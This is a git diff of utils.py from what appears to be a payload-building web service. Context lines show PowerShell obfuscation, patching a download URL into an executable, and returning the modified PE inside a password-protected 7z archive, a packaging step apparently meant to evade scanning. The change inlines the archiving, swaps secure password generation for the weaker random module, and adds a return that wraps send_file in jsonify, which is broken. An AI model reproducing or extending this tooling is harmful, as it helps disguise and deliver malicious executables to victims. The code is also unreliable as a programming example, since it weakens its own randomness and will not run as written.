Update utils.py

utils.py

@@ -8,7 +8,6 @@ import shutil
 import tempfile
 import requests
 import json
-import secrets
 
 BASE_DIR = os.path.abspath(os.path.dirname(__file__))
 UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
@@ -22,6 +21,9 @@ POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")
 def generate_random_string(length=8):
     return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
 
+def generate_random_password(length=12):
+    return ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=length))
+
 def obfuscate_powershell_script(ps1_path):
     try:
         cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
@@ -188,28 +190,6 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
     except Exception as e:
         raise Exception(f"An error occurred: {e}")
 
-# Function to generate a random password
-def generate_random_password(length=12):
-    # Use a combination of letters, digits, and special characters
-    characters = string.ascii_letters + string.digits + "!@#$%^&*"
-    return ''.join(secrets.choice(characters) for _ in range(length))
-
-# Function to create an encrypted 7z archive
-def create_encrypted_7z_archive(file_path, password):
-    archive_name = generate_random_string() + ".7z"
-    archive_path = os.path.join(os.path.dirname(file_path), archive_name)
-    
-    # Use 7z command to create an encrypted archive
-    try:
-        subprocess.run([
-            "7z", "a", "-t7z", "-mx=9", "-m0=LZMA2", f"-p{password}", archive_path, file_path
-        ], check=True)
-    except subprocess.CalledProcessError as e:
-        raise Exception(f"Failed to create encrypted 7z archive: {e}")
-    
-    return archive_path
-
-# Function to process the request
 def process_request(request):
     temp_dir = None  # Initialize temp_dir to be used in the finally block
     try:
@@ -274,19 +254,16 @@ def process_request(request):
             new_string=os.path.basename(download_url)
         )
 
-        # Generate a random password
+        # Create a .7z archive with ultra compression and LZMA2, and encrypt it with a password
+        archive_name = generate_random_string() + ".7z"
+        archive_path = os.path.join(temp_dir, archive_name)
         password = generate_random_password()
+        subprocess.run([
+            "7z", "a", "-t7z", "-p" + password, "-mx=9", "-m0=LZMA2", archive_path, modified_pe_path
+        ], check=True)
 
-        # Create an encrypted 7z archive
-        archive_path = create_encrypted_7z_archive(modified_pe_path, password)
-
-        # Return the encrypted archive as a file and the password in the response
-        return send_file(
-            archive_path,
-            as_attachment=True,
-            download_name=os.path.basename(archive_path),
-            mimetype='application/octet-stream'
-        ), password
+        # Return the .7z file in the response, along with the password
+        return jsonify({"archive": send_file(archive_path, as_attachment=True, download_name=archive_name), "password": password})
 
     except Exception as e:
         current_app.logger.error(f"An error occurred: {str(e)}")